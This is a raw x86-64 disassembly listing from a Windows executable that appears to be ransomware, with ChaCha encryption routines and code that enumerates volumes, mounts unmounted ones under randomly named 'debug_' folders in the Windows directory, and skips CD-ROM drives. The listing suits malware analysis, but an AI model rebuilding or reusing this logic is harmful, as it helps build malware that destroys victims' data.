mov rsi, rax
lea rdx, [rsp + 0x1b0]
cmp rax, rdx
jne 0x140004221
jmp 0x1400043a0
mov rax, rdi
add rax, 0x18
cmp rax, rbx
jne 0x14000432b
cmp rbx, rdi
jne 0x140004378
jmp 0x140004347
lea rax, [rdi + 0x18]
mov rcx, qword [rdi + 0x28]
mov qword [rdi + 0x10], rcx
movdqu xmm0, xmmword [rdi + 0x18]
movdqu xmmword [rdi], xmm0
mov byte [rdi + 0x18], 0
mov word [rdi + 0x1a], 0
add rdi, 0x30
cmp rdi, rbx
mov rdi, rax
je 0x14000433b
test byte [rdi], 1
je 0x140004300
mov rcx, qword [rdi + 0x10]
call fcn.140073240
jmp 0x140004300
mov rbx, qword [rsi + 0x30]
mov rdi, rax
cmp rbx, rdi
jne 0x140004378
mov qword [rsi + 0x30], rdi
cmp rdi, qword [rsi + 0x38]
je 0x14000438d
lea rdx, [0x1402da388]
mov rcx, rdi
call fcn.140075840
add rdi, 0x18
mov qword [rsi + 0x30], rdi
jmp 0x1400043a0
mov rbx, r14
cmp r14, rdi
je 0x140004347
lea r14, [rbx - 0x18]
test byte [rbx - 0x18], 1
je 0x140004370
mov rcx, qword [rbx - 8]
call fcn.140073240
jmp 0x140004370
add rsi, 0x28
lea rdx, [0x1402da388]
mov rcx, rsi
call fcn.140035e10
lea rdx, [rsp + 0xed0]
xor ecx, ecx
mov r8d, 0x105
call qword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
lea rcx, [0x1402d73d0]
lea rdx, [rsp + 0xed0]
call fcn.140076120
lea rcx, [rsp + 0xed0]
call sub.msvcrt.dll_wcslen
mov rsi, rax
movabs rax, 0x7fffffffffffffef
cmp rsi, rax
ja 0x14000a949
cmp rsi, 0xa
ja 0x140004407
lea eax, [rsi + rsi]
mov byte [rsp + 0x110], al
lea rdi, [rsp + 0x112]
jmp 0x14000443f
mov rbx, rsi
or rbx, 7
inc rbx
js 0x14000aba5
lea rcx, [rbx + rbx]
call fcn.1400731c0
mov rdi, rax
mov qword [rsp + 0x120], rax
or rbx, 1
mov qword [rsp + 0x110], rbx
mov qword [rsp + 0x118], rsi
mov r8, rsi
add r8, rsi
lea rdx, [rsp + 0xed0]
mov rcx, rdi
call sub.msvcrt.dll_memcpy
mov word [rdi + rsi*2], 0
mov rcx, qword [0x1402611d8]
movzx eax, byte [rcx]
test al, 1
je 0x140004474
mov rax, qword [rcx + 8]
test rax, rax
jne 0x14000447c
jmp 0x1400044a3
shr rax, 1
test rax, rax
je 0x1400044a3
mov rdx, qword [0x1402611d8]
lea rcx, [rsp + 0x110]
call fcn.1400761e0
lea rcx, [0x1402d73d0]
mov rdx, qword [0x1402611d8]
call fcn.1400761e0
lea rbx, [rsp + 0x112]
movzx r8d, byte [rsp + 0x110]
test r8b, 1
je 0x1400044cc
mov rax, qword [rsp + 0x120]
mov r8, qword [rsp + 0x118]
jmp 0x1400044d2
shr r8, 1
mov rax, rbx
lea rcx, [rax + r8*2]
mov rdx, rax
test r8, r8
je 0x14000451d
mov r9, rax
mov r8, rcx
mov rdx, r9
nop word [rax + rax]
lea r9, [rdx + 2]
cmp word [rdx], 0x5c
je 0x140004510
mov rdx, r9
cmp r9, rcx
jne 0x1400044f0
jmp 0x14000451a
mov r8, rdx
cmp r9, rcx
jne 0x1400044e4
jmp 0x14000451d
mov rdx, r8
mov r8, rdx
sub r8, rax
sar r8, 1
cmp rdx, rcx
mov r9, 0xffffffffffffffff
cmovne r9, r8
lea rax, [rsp + 0x240]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x530]
lea rdx, [rsp + 0x110]
xor r8d, r8d
call fcn.140075cf0
test byte [rsp + 0x110], 1
je 0x140004570
mov rcx, qword [rsp + 0x120]
call fcn.140073240
mov rax, qword [rsp + 0x540]
mov qword [rsp + 0x120], rax
movdqu xmm0, xmmword [rsp + 0x530]
movdqa xmmword [rsp + 0x110], xmm0
movzx ecx, byte [rsp + 0x110]
test cl, 1
sete al
je 0x1400045b1
mov rcx, qword [rsp + 0x118]
test rcx, rcx
jne 0x1400045b9
jmp 0x140004627
shr rcx, 1
test rcx, rcx
je 0x140004627
mov esi, 1
xor edi, edi
jmp 0x1400045e1
mov rcx, qword [rsp + 0x118]
mov edi, esi
inc esi
cmp rcx, rdi
jbe 0x140004627
mov rcx, rbx
test al, 1
jne 0x1400045f0
mov rcx, qword [rsp + 0x120]
movzx ecx, word [rcx + rdi*2]
call sub.msvcrt.dll_towlower
test byte [rsp + 0x110], 1
mov rcx, rbx
je 0x14000460e
mov rcx, qword [rsp + 0x120]
mov word [rcx + rdi*2], ax
movzx ecx, byte [rsp + 0x110]
test cl, 1
sete al
jne 0x1400045d0
shr rcx, 1
jmp 0x1400045d8
lea rcx, [0x1402d73b8]
lea rdx, [rsp + 0x110]
call fcn.1400761e0
lea rdx, [0x140259674]
lea r8, [0x1402d73b8]
lea rcx, [rsp + 0x530]
call fcn.140013830
test byte [0x1402d73b8], 1
je 0x14000466b
mov rcx, qword [0x1402d73c8]
call fcn.140073240
mov rax, qword [rsp + 0x540]
mov qword [0x1402d73c8], rax
movdqu xmm0, xmmword [rsp + 0x530]
movdqu xmmword [0x1402d73b8], xmm0
mov ecx, 0x20
call fcn.1400731c0
mov qword [rsp + 0x540], rax
mov qword [rsp + 0x530], 0x11
mov qword [rsp + 0x538], 0xf
movups xmm0, xmmword [0x140259696]
movups xmmword [rax + 0xe], xmm0
movups xmm0, xmmword [0x140259688]
movups xmmword [rax], xmm0
mov word [rax + 0x1e], 0
mov byte [rsp + 0x548], 0x14
movups xmm0, xmmword [str.mscore.dll]
movups xmmword [rsp + 0x54a], xmm0
mov dword [rsp + 0x55a], 0x6c006c
mov word [rsp + 0x55e], 0
mov byte [rsp + 0x560], 0x10
movdqu xmm0, xmmword [str.twin.dll]
movdqu xmmword [rsp + 0x562], xmm0
mov word [rsp + 0x572], 0
mov ecx, 0x20
call fcn.1400731c0
mov qword [rsp + 0x588], rax
mov qword [rsp + 0x578], 0x11
mov qword [rsp + 0x580], 0xb
movdqu xmm0, xmmword [str.Culture.dll]
movdqu xmmword [rax], xmm0
movabs rcx, 0x6c006c0064002e
mov qword [rax + 0xe], rcx
mov word [rax + 0x16], 0
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x2d0], xmm0
mov qword [rsp + 0x2e0], 0
lea rax, [rsp + 0x2d0]
mov qword [rsp + 0x70], rax
mov byte [rsp + 0x78], 0
mov ecx, 0x60
call fcn.1400731c0
mov rdi, rax
lea rax, [rsp + 0x2e0]
mov qword [rsp + 0x2d0], rdi
mov qword [rsp + 0x2d8], rdi
mov rcx, rdi
add rcx, 0x60
mov qword [rsp + 0x2e0], rcx
mov qword [rsp + 0x90], rdi
mov qword [rsp + 0x190], rdi
mov qword [rsp + 0x240], rax
lea rax, [rsp + 0x190]
mov qword [rsp + 0x248], rax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x250], rax
mov byte [rsp + 0x258], 0
lea rdx, [rsp + 0x530]
mov rcx, rdi
call fcn.140075840
lea rdx, [rsp + 0x548]
mov rcx, qword [rsp + 0x90]
add rcx, 0x18
mov qword [rsp + 0x90], rcx
call fcn.140075840
lea rdx, [rsp + 0x560]
mov rcx, qword [rsp + 0x90]
add rcx, 0x18
mov qword [rsp + 0x90], rcx
call fcn.140075840
lea rdx, [rsp + 0x578]
mov rcx, qword [rsp + 0x90]
add rcx, 0x18
mov qword [rsp + 0x90], rcx
call fcn.140075840
mov rax, qword [rsp + 0x90]
add rax, 0x18
mov qword [rsp + 0x2d8], rax
test byte [rsp + 0x578], 1
jne 0x140004b9f
test byte [rsp + 0x560], 1
jne 0x140004bba
test byte [rsp + 0x548], 1
jne 0x140004bd5
test byte [rsp + 0x530], 1
je 0x1400048d0
mov rcx, qword [rsp + 0x540]
call fcn.140073240
mov r15d, 0x10
lea r12, [rsp + 0x114]
xor r13d, r13d
pxor xmm6, xmm6
nop word cs:[rax + rax]
movzx ebp, byte [0x1402d73b8]
mov eax, ebp
and al, 1
je 0x140004910
mov rbp, qword [0x1402d73c0]
jmp 0x140004913
shr rbp, 1
lea rsi, [rbp + 1]
movabs rcx, 0x7fffffffffffffef
cmp rsi, rcx
ja 0x14000a86d
cmp rsi, 0xa
ja 0x140004960
movdqa xmmword [rsp + 0x530], xmm6
mov qword [rsp + 0x540], 0
add sil, sil
mov byte [rsp + 0x530], sil
xor edi, edi
jmp 0x1400049a4
mov r14, rsi
or r14, 7
inc r14
js 0x14000a88c
lea rcx, [r14 + r14]
call fcn.1400731c0
mov rdi, rax
or r14, 1
mov qword [rsp + 0x530], r14
mov qword [rsp + 0x540], rax
mov qword [rsp + 0x538], rsi
movzx eax, byte [0x1402d73b8]
and al, 1
mov esi, r14d
test sil, 1
lea rcx, [rsp + 0x532]
cmove rdi, rcx
lea rdx, [0x1402d73ba]
test al, al
je 0x1400049c6
mov rdx, qword [0x1402d73c8]
mov r8, rbp
add r8, rbp
mov rcx, rdi
call sub.msvcrt.dll_memmove
mov dword [rdi + rbp*2], 0x5c
mov rax, qword [rsp + 0x2d0]
movzx r8d, byte [rax + r15 - 0x10]
test r8b, 1
je 0x140004a00
mov rdx, qword [rax + r15]
mov r8, qword [rax + r15 - 8]
jmp 0x140004a0b
shr r8, 1
lea rdx, [rax + r15]
add rdx, 0xfffffffffffffff2
lea rcx, [rsp + 0x530]
call fcn.140075c20
movzx esi, byte [rax]
movzx ebp, byte [rax + 1]
movzx r14d, word [rax + 2]
mov ecx, dword [rax + 0xc]
mov dword [rsp + 0x248], ecx
mov rcx, qword [rax + 4]
mov qword [rsp + 0x240], rcx
mov rdi, qword [rax + 0x10]
movdqu xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0x110], 1
je 0x140004a61
mov rcx, qword [rsp + 0x120]
call fcn.140073240
mov byte [rsp + 0x110], sil
mov byte [rsp + 0x111], bpl
mov word [rsp + 0x112], r14w
mov eax, dword [rsp + 0x248]
mov dword [r12 + 8], eax
mov rax, qword [rsp + 0x240]
mov qword [r12], rax
mov qword [rsp + 0x120], rdi
test byte [rsp + 0x530], 1
je 0x140004ac1
mov rcx, qword [rsp + 0x540]
call fcn.140073240
movzx esi, byte [rsp + 0x110]
mov rdi, qword [rsp + 0x120]
test sil, 1
cmove rdi, rbx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
mov rcx, rdi
mov edx, 3
mov r8d, 1
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov qword [0x14029c038], rax
cmp rax, 0xffffffffffffffff
jne 0x140004b38
inc r13
mov rcx, qword [rsp + 0x2d8]
sub rcx, qword [rsp + 0x2d0]
sar rcx, 3
movabs rdx, 0xaaaaaaaaaaaaaaab
imul rcx, rdx
add r15, 0x18
cmp rcx, r13
ja 0x1400048f0
mov qword [rsp + 0x530], 0
lea r8, [rsp + 0x530]
mov rcx, rax
xor edx, edx
mov r9d, 2
call qword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
lea rcx, [0x1402da448]
lea rdx, [rsp + 0x110]
call fcn.1400761e0
lea rcx, str.________________________________
mov dl, 1
call fcn.140011c60
movzx ecx, byte [0x1402da448]
test cl, 1
sete al
je 0x140004bf5
mov rcx, qword [0x1402da450]
test rcx, rcx
jne 0x140004bfd
jmp 0x140004c62
mov rcx, qword [rsp + 0x588]
call fcn.140073240
test byte [rsp + 0x560], 1
je 0x1400048ab
mov rcx, qword [rsp + 0x570]
call fcn.140073240
test byte [rsp + 0x548], 1
je 0x1400048b9
mov rcx, qword [rsp + 0x558]
call fcn.140073240
test byte [rsp + 0x530], 1
jne 0x1400048c3
jmp 0x1400048d0
shr rcx, 1
test rcx, rcx
je 0x140004c62
mov esi, 1
xor ebx, ebx
lea rdi, [0x1402da44a]
jmp 0x140004c20
mov rcx, qword [0x1402da450]
mov ebx, esi
inc esi
cmp rcx, rbx
jbe 0x140004c62
mov rcx, rdi
test al, 1
jne 0x140004c2e
mov rcx, qword [0x1402da458]
movzx ecx, word [rcx + rbx*2]
call sub.msvcrt.dll_towlower
test byte [0x1402da448], 1
mov rcx, rdi
je 0x140004c4a
mov rcx, qword [0x1402da458]
mov word [rcx + rbx*2], ax
movzx ecx, byte [0x1402da448]
test cl, 1
sete al
jne 0x140004c10
shr rcx, 1
jmp 0x140004c17
mov rsi, qword [rsp + 0x2d0]
test rsi, rsi
je 0x140004cc2
mov rax, qword [rsp + 0x2d8]
mov rcx, rsi
cmp rax, rsi
jne 0x140004c98
jmp 0x140004cb5
mov rax, rdi
cmp rdi, rsi
je 0x140004cad
lea rdi, [rax - 0x18]
test byte [rax - 0x18], 1
je 0x140004c90
mov rcx, qword [rax - 8]
call fcn.140073240
jmp 0x140004c90
mov rcx, qword [rsp + 0x2d0]
mov qword [rsp + 0x2d8], rsi
call fcn.140073240
test byte [rsp + 0x110], 1
je 0x140004cd9
mov rcx, qword [rsp + 0x120]
call fcn.140073240
cmp byte [0x14029c04c], 0
jne 0x14000a956
call sym.anoun_316_v4.06.exe_chacha_startup
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x540], xmm0
movdqa xmmword [rsp + 0x530], xmm0
mov qword [rsp + 0x550], 0
movdqa xmmword [rsp + 0xef0], xmm0
movdqa xmmword [rsp + 0xee0], xmm0
movdqa xmmword [rsp + 0xed0], xmm0
lea rcx, [rsp + 0x740]
lea rdx, [rsp + 0x530]
mov r8d, 0x28
call fcn.14005c780
lea rcx, [rsp + 0x740]
lea rsi, [rsp + 0xed0]
mov rdx, rsi
mov r8d, 0x30
call fcn.14005c780
lea rdi, [rsp + 0xef0]
mov qword [rsp + 0x20], rsi
lea rcx, [rsp + 0x240]
lea rdx, [rsp + 0x530]
mov r8d, 0x28
mov r9, rdi
call fcn.14006ba30
mov qword [rsp + 0x28], 0x14
mov qword [rsp + 0x20], 0x28
lea rcx, [rsp + 0xed0]
lea r8, [rsp + 0x530]
lea r9, [rsp + 0x110]
mov rdx, rdi
call sym.anoun_316_v4.06.exe_chacha
lea rcx, [rsp + 0x110]
lea rdx, [rsp + 0x240]
mov r8d, 0x28
call sub.msvcrt.dll_memcmp
test eax, eax
jne 0x14000a9f1
pxor xmm7, xmm7
movdqa xmmword [rsp + 0x2d0], xmm7
mov qword [rsp + 0x2e0], 0
mov rax, qword [rsp + 0x310]
cmp qword [rsp + 0x318], rax
je 0x140005970
xor edi, edi
lea r15, [rsp + 0x240]
lea r13, [rsp + 0xe80]
movdqa xmm9, xmmword [0x1402593f0]
movdqa xmm10, xmmword [0x140259400]
movdqa xmm11, xmmword [0x140259410]
movdqa xmm12, xmmword [0x140259420]
movdqa xmm13, xmmword [0x140259430]
movdqa xmm14, xmmword [0x140259440]
movdqa xmm15, xmmword [0x140259450]
movdqa xmm6, xmmword [0x140259460]
movdqa xmm8, xmmword [0x140259470]
jmp 0x140004eb1
inc rdi
mov rax, qword [rsp + 0x310]
mov rcx, qword [rsp + 0x318]
sub rcx, rax
sar rcx, 3
movabs rdx, 0xaaaaaaaaaaaaaaab
imul rcx, rdx
cmp rdi, rcx
jae 0x140005970
movdqa xmmword [rsp + 0x240], xmm7
mov qword [rsp + 0x250], 0
mov dword [rsp + 0x220], 0
lea rbx, [rdi + rdi*2]
test byte [rax + rbx*8], 1
je 0x140004ef0
mov rcx, qword [rax + rbx*8 + 0x10]
jmp 0x140004ef8
lea rcx, [rax + rbx*8]
add rcx, 2
lea rdx, [rsp + 0xed0]
mov r8d, 0x1388
lea r9, [rsp + 0x220]
call qword [sym.imp.KERNEL32.DLL_GetVolumePathNamesForVolumeNameW]
cmp dword [rsp + 0x220], 2
jb 0x140005090
mov rcx, r15
lea rdx, [rsp + 0xed0]
call fcn.140076120
lea rcx, [rsp + 0x530]
lea rdx, [0x140259674]
mov r8, r15
call fcn.140013830
test byte [rsp + 0x240], 1
je 0x140004f60
mov rcx, qword [rsp + 0x250]
call fcn.140073240
mov rax, qword [rsp + 0x540]
mov qword [rsp + 0x250], rax
movdqu xmm0, xmmword [rsp + 0x530]
movdqa xmmword [rsp + 0x240], xmm0
xor r12d, r12d
nop word cs:[rax + rax]
mov rcx, r13
mov rdx, r15
call fcn.140075840
mov rcx, r13
call fcn.140013b20
mov ebp, eax
mov eax, dword [rsp + 0x220]
add eax, 0xfffffffe
cmp r12d, eax
setae al
or bpl, al
test byte [rsp + 0xe80], 1
je 0x140004fcf
mov rcx, qword [rsp + 0xe90]
call fcn.140073240
test bpl, bpl
jne 0x140005090
mov eax, dword [rsp + 0x220]
add eax, 0xfffffffe
cmp r12d, eax
jae 0x140004f90
movsxd rcx, r12d
lea rcx, [rsp + rcx*2]
add rcx, 0xed0
nop word cs:[rax + rax]
cmp word [rcx], 0
je 0x140005017
inc r12d
add rcx, 2
cmp eax, r12d
ja 0x140005000
jmp 0x140004f90
inc r12d
movsxd rax, r12d
lea rdx, [rsp + rax*2]
add rdx, 0xed0
mov rcx, r15
call fcn.140076120
lea rcx, [rsp + 0x530]
lea rdx, [0x140259674]
mov r8, r15
call fcn.140013830
test byte [rsp + 0x240], 1
je 0x14000505e
mov rcx, qword [rsp + 0x250]
call fcn.140073240
mov rax, qword [rsp + 0x540]
mov qword [rsp + 0x250], rax
movdqu xmm0, xmmword [rsp + 0x530]
movdqa xmmword [rsp + 0x240], xmm0
jmp 0x140004f90
movzx ecx, byte [rsp + 0x240]
mov rax, rcx
shr rax, 1
and cl, 1
mov rdx, qword [rsp + 0x248]
mov r8, rdx
cmove r8, rax
test r8, r8
jne 0x14000555f
mov byte [rsp + 0x1ca], 0
lea rcx, [rsp + 0x740]
lea rdx, [rsp + 0x1c0]
mov r8d, 9
call fcn.14005c780
movq xmm0, qword [rsp + 0x1c0]
movdqa xmm1, xmm0
psrlw xmm1, 1
pand xmm1, xmmword [0x1402593e0]
movdqa xmm2, xmm1
punpckhbw xmm2, xmm7
pmullw xmm2, xmm9
psrlw xmm2, 8
punpcklbw xmm1, xmm7
pmullw xmm1, xmm9
psrlw xmm1, 8
packuswb xmm1, xmm2
psrlw xmm1, 4
pand xmm1, xmm10
movdqa xmm2, xmm1
punpckhbw xmm2, xmm2
pmullw xmm2, xmm11
pand xmm2, xmm12
punpcklbw xmm1, xmm1
pmullw xmm1, xmm11
pand xmm1, xmm12
packuswb xmm1, xmm2
psubb xmm0, xmm1
movdqa xmm1, xmm0
pmaxub xmm1, xmm13
pcmpeqb xmm1, xmm0
movdqa xmm2, xmm0
pmaxub xmm2, xmm14
pcmpeqb xmm2, xmm0
movdqa xmm3, xmm2
pand xmm3, xmm15
pandn xmm2, xmm6
por xmm2, xmm3
pand xmm2, xmm1
pandn xmm1, xmm8
por xmm1, xmm2
paddb xmm1, xmm0
movq qword [rsp + 0x1c0], xmm1
movzx eax, byte [rsp + 0x1c8]
mov ecx, eax
shr cl, 1
movzx ecx, cl
imul ecx, ecx, 0x85
shr ecx, 0xc
lea edx, [rcx + rcx]
shl ecx, 6
sub ecx, edx
sub al, cl
cmp al, 0x24
mov ecx, 0x3d
mov r8d, 0x37
cmovb ecx, r8d
movzx edx, byte [rsp + 0x1c9]
cmp al, 0xa
mov r9d, 0x30
cmovb ecx, r9d
add cl, al
mov byte [rsp + 0x1c8], cl
mov eax, edx
shr al, 1
movzx eax, al
imul eax, eax, 0x85
shr eax, 0xc
lea ecx, [rax + rax]
shl eax, 6
sub eax, ecx
sub dl, al
cmp dl, 0x24
mov eax, 0x3d
cmovb eax, r8d
cmp dl, 0xa
cmovb eax, r9d
add al, dl
mov byte [rsp + 0x1c9], al
lea rsi, [rsp + 0x530]
mov rcx, rsi
mov edx, 0x104
call qword [sym.imp.KERNEL32.DLL_GetSystemWindowsDirectoryW]
mov rcx, rsi
call sub.msvcrt.dll_wcslen
mov rbp, rax
movabs rax, 0x7fffffffffffffef
cmp rbp, rax
ja 0x14000a891
cmp rbp, 0xa
ja 0x140005266
lea eax, [rbp + rbp]
mov byte [rsp + 0x110], al
lea r12, [rsp + 0x112]
jmp 0x14000529e
mov rsi, rbp
or rsi, 7
inc rsi
js 0x14000a89e
lea rcx, [rsi + rsi]
call fcn.1400731c0
mov r12, rax
mov qword [rsp + 0x120], rax
or rsi, 1
mov qword [rsp + 0x110], rsi
mov qword [rsp + 0x118], rbp
mov r8, rbp
add r8, rbp
mov rcx, r12
lea rdx, [rsp + 0x530]
call sub.msvcrt.dll_memcpy
mov word [r12 + rbp*2], 0
mov byte [rsp + 0x190], 0x12
movq xmm0, qword [rsp + 0x1c0]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movdqu xmmword [rsp + 0x192], xmm0
movsx eax, byte [rsp + 0x1c8]
mov word [rsp + 0x1a2], ax
mov word [rsp + 0x1a4], 0
lea rcx, [rsp + 0x190]
xor edx, edx
lea r8, str.debug_
call fcn.140075dd0
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xa0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x90], xmm0
movdqu xmmword [rax], xmm7
mov qword [rax + 0x10], 0
lea rcx, [rsp + 0x90]
lea rdx, [0x140259684]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x80], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x70], xmm0
movdqu xmmword [rax], xmm7
mov qword [rax + 0x10], 0
movzx r8d, byte [rsp + 0x70]
test r8b, 1
je 0x140005384
mov rdx, qword [rsp + 0x80]
mov r8, qword [rsp + 0x78]
jmp 0x14000538c
shr r8, 1
lea rdx, [rsp + 0x72]
lea rcx, [rsp + 0x110]
call fcn.140075c20
test byte [rsp + 0x70], 1
jne 0x140005412
test byte [rsp + 0x90], 1
jne 0x140005429
test byte [rsp + 0x190], 1
je 0x1400053c1
mov rcx, qword [rsp + 0x1a0]
call fcn.140073240
test byte [rsp + 0x110], 1
lea rcx, [rsp + 0x112]
je 0x1400053db
mov rcx, qword [rsp + 0x120]
xor edx, edx
call qword [sym.imp.KERNEL32.DLL_CreateDirectoryW]
test byte [rsp + 0x110], 1
lea rcx, [rsp + 0x112]
je 0x1400053fd
mov rcx, qword [rsp + 0x120]
mov rax, qword [rsp + 0x310]
test byte [rax + rbx*8], 1
je 0x140005449
mov rdx, qword [rax + rbx*8 + 0x10]
jmp 0x140005451
mov rcx, qword [rsp + 0x80]
call fcn.140073240
test byte [rsp + 0x90], 1
je 0x1400053aa
mov rcx, qword [rsp + 0xa0]
call fcn.140073240
test byte [rsp + 0x190], 1
jne 0x1400053b4
jmp 0x1400053c1
lea rdx, [rax + rbx*8]
add rdx, 2
call qword [sym.imp.KERNEL32.DLL_SetVolumeMountPointW]
mov ebp, eax
call qword [sym.imp.KERNEL32.DLL_GetLastError]
movzx ecx, byte [rsp + 0x110]
test cl, 1
je 0x140005476
mov rax, qword [rsp + 0x118]
jmp 0x14000547c
mov rax, rcx
shr rax, 1
lea rdx, [rax - 1]
test cl, 1
jne 0x140005498
add dl, dl
mov byte [rsp + 0x110], dl
lea rcx, [rsp + 0x112]
jmp 0x1400054a8
mov rcx, qword [rsp + 0x120]
mov qword [rsp + 0x118], rdx
mov word [rcx + rax*2 - 2], 0
test ebp, ebp
je 0x140005510
lea rcx, [rsp + 0xe50]
lea rdx, [rsp + 0x110]
call fcn.140075840
lea rcx, [rsp + 0xe50]
call fcn.140013b20
mov ebp, eax
test byte [rsp + 0xe50], 1
je 0x1400054ee
mov rcx, qword [rsp + 0xe60]
call fcn.140073240
test bpl, bpl
je 0x140005510
mov rcx, r15
lea rdx, [rsp + 0x110]
call fcn.1400761e0
jmp 0x140005530
test byte [rsp + 0x110], 1
lea rcx, [rsp + 0x112]
je 0x14000552a
mov rcx, qword [rsp + 0x120]
call qword [sym.imp.KERNEL32.DLL_RemoveDirectoryW]
test byte [rsp + 0x110], 1
je 0x140005547
mov rcx, qword [rsp + 0x120]
call fcn.140073240
movzx eax, byte [rsp + 0x240]
mov rdx, qword [rsp + 0x248]
mov ecx, eax
and cl, 1
shr rax, 1
test cl, cl
mov r8, rdx
cmove r8, rax
mov r9, qword [rsp + 0x250]
mov r10, r9
lea r11, [rsp + 0x242]
cmove r10, r11
cmp word [r10 + r8*2 - 2], 0x5c
jne 0x1400055cb
lea rax, [r8 - 1]
test cl, cl
je 0x14000559a
mov qword [rsp + 0x248], rax
jmp 0x1400055ab
add al, al
mov byte [rsp + 0x240], al
lea r9, [rsp + 0x242]
mov word [r9 + r8*2 - 2], 0
movzx eax, byte [rsp + 0x240]
mov rdx, qword [rsp + 0x248]
mov ecx, eax
and cl, 1
shr rax, 1
test cl, cl
cmovne rax, rdx
test rax, rax
je 0x140005950
lea rdx, [rbx*8]
add rdx, qword [rsp + 0x310]
lea rcx, [rsp + 0x110]
call fcn.140075840
mov rax, qword [rsp + 0x310]
test byte [rax + rbx*8], 1
je 0x140005610
mov rcx, qword [rax + rbx*8 + 0x10]
jmp 0x140005618
lea rcx, [rax + rbx*8]
add rcx, 2
call qword [sym.imp.KERNEL32.DLL_GetDriveTypeW]
mov bl, 1
cmp eax, 5
je 0x140005850
movzx ecx, byte [rsp + 0x110]
test cl, 1
je 0x140005640
mov rax, qword [rsp + 0x118]
jmp 0x140005646
mov rax, rcx
shr rax, 1
lea rdx, [rax - 1]
test cl, 1
jne 0x140005665
add dl, dl
mov byte [rsp + 0x110], dl
lea rdx, [rsp + 0x112]
mov rcx, rdx
jmp 0x14000567d
mov rcx, qword [rsp + 0x120]
mov qword [rsp + 0x118], rdx
lea rdx, [rsp + 0x112]
mov word [rcx + rax*2 - 2], 0
test byte [rsp + 0x110], 1
mov rcx, rdx
je 0x140005699
mov rcx, qword [rsp + 0x120]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
mov edx, 0x80
mov r8d, 3
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x140005804
mov rax, qword [0x140261198]
mov rax, qword [rax]
mov dword [rsp + 0x20], 4
mov rcx, rbp
lea rdx, [rsp + 0x70]
lea r8, [rsp + 0x90]
mov r9d, 8
call rax
test eax, eax
jne 0x14000570f
test byte [rsp + 0x94], 4
jne 0x140005808
mov dword [rsp + 0x190], 0
lea rax, [rsp + 0x190]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x530]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x28], 0x20
mov rcx, rbp
mov edx, 0x560000
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_DeviceIoControl]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov r12d, dword [rsp + 0x538]
mov rax, qword [rsp + 0x1b0]
lea rbp, [rsp + 0x1b0]
jmp 0x140005784
mov rax, qword [rbp]
mov r14, rbp
test rax, rax
je 0x1400057a6
mov rbp, rax
mov eax, dword [rax + 0x20]
cmp r12d, eax
jl 0x140005780
jle 0x140005813
mov rax, qword [rbp + 8]
test rax, rax
jne 0x14000578c
lea r14, [rbp + 8]
mov ecx, 0x40
call fcn.1400731c0
mov rsi, rax
mov dword [rax + 0x20], r12d
movdqu xmmword [rax + 0x28], xmm7
mov qword [rax + 0x38], 0
movdqu xmmword [rax], xmm7
mov qword [rax + 0x10], rbp
mov qword [r14], rax
mov rax, qword [rsp + 0x1a8]
mov rax, qword [rax]
mov rdx, rsi
test rax, rax
je 0x1400057ed
mov qword [rsp + 0x1a8], rax
mov rdx, qword [r14]
mov rcx, qword [rsp + 0x1b0]
call fcn.140035cb0
inc qword [rsp + 0x1b8]
jmp 0x140005816
xor ebx, ebx
jmp 0x140005850
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x140005850
mov rsi, rbp
mov r12, qword [rsi + 0x30]
cmp r12, qword [rsi + 0x38]
je 0x140005835
mov rcx, r12
mov rdx, r15
call fcn.140075840
add r12, 0x18
mov qword [rsi + 0x30], r12
jmp 0x140005850
add rsi, 0x28
mov rcx, rsi
mov rdx, r15
call fcn.140035e10
nop word cs:[rax + rax]
test byte [rsp + 0x110], 1
je 0x140005867
mov rcx, qword [rsp + 0x120]
call fcn.140073240
test bl, bl
jne 0x140005950
mov rax, qword [rsp + 0x1b0]
lea rsi, [rsp + 0x1b0]
jmp 0x140005893
mov rax, qword [rsi]
mov rbx, rsi
test rax, rax
je 0x1400058b6
mov rsi, rax
mov eax, dword [rax + 0x20]
cmp dword [rsp + 0x6c], eax
jl 0x140005890
jle 0x140005918
mov rax, qword [rsi + 8]
test rax, rax
jne 0x14000589b
lea rbx, [rsi + 8]
mov ecx, 0x40
call fcn.1400731c0
mov rbp, rax
mov eax, dword [rsp + 0x6c]
mov dword [rbp + 0x20], eax
movdqu xmmword [rbp + 0x28], xmm7
mov qword [rbp + 0x38], 0
movdqu xmmword [rbp], xmm7
mov qword [rbp + 0x10], rsi
mov qword [rbx], rbp
mov rax, qword [rsp + 0x1a8]
mov rax, qword [rax]
mov rdx, rbp
test rax, rax
je 0x140005901
mov qword [rsp + 0x1a8], rax
mov rdx, qword [rbx]
mov rcx, qword [rsp + 0x1b0]
call fcn.140035cb0
inc qword [rsp + 0x1b8]
jmp 0x14000591b
mov rbp, rsi
mov r12, qword [rbp + 0x30]
cmp r12, qword [rbp + 0x38]
je 0x14000593a
mov rcx, r12
mov rdx, r15
call fcn.140075840
add r12, 0x18
mov qword [rbp + 0x30], r12
jmp 0x140005950
add rbp, 0x28
mov rcx, rbp
mov rdx, r15
call fcn.140035e10
nop dword [rax]
test byte [rsp + 0x240], 1
je 0x140004e80
